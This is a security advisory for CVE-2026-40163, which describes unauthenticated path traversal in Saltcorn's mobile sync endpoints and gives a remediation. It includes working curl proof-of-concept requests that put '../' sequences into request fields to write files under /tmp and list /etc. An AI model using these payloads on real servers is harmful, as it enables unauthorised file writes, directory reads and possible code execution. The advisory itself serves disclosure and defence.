CVE-2026-40163

Summary

Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.

The safe path validation function File.normaliseinbase() exists in the codebase and is correctly used by the cleansyncdir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.

Details

Finding 1: Arbitrary file write — POST /sync/offline_changes (sync.js line 226)

The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:

const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
    rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true });        // creates arbitrary dir
await fs.writeFile(
    path.join(syncDir, "changes.json"),
    JSON.stringify(changes)                           // writes attacker content
);

No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.

Finding 2: Arbitrary directory read — GET /sync/upload_finished (sync.js line 288)

The dir_name query parameter is used directly in path.join() without sanitization:

const syncDir = path.join(
    rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);

Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.

Contrast — fixed endpoint in the same file (line 342):

The cleansyncdir endpoint correctly uses File.normaliseinbase():

const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });

PoC

## Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
  -H "Content-Type: application/json" \
  -d '{
    "newSyncTimestamp": "../../../../tmp/saltcorn_poc",
    "oldSyncTimestamp": "0",
    "changes": {"proof": "path_traversal_write"}
  }'
## Result: /tmp/saltcorn_poc_public/changes.json created with attacker content
## List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"

Impact

• Unauthenticated arbitrary directory creation anywhere on the filesystem
• Unauthenticated arbitrary JSON file write (changes.json) to any writable directory
• Unauthenticated directory listing of arbitrary directories
• Unauthenticated read of specific JSON files from arbitrary directories
• Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)

Remediation

Apply File.normaliseinbase() to both endpoints, matching the existing pattern in cleansyncdir:

// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    syncDirName
);
if (!syncDir) {
    return res.status(400).json({ error: "Invalid sync directory name" });
}
// upload_finished fix
const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    dir_name
);
if (!syncDir) {
    return res.json({ finished: false });
}

Additionally, add loggedIn middleware to endpoints that modify server state.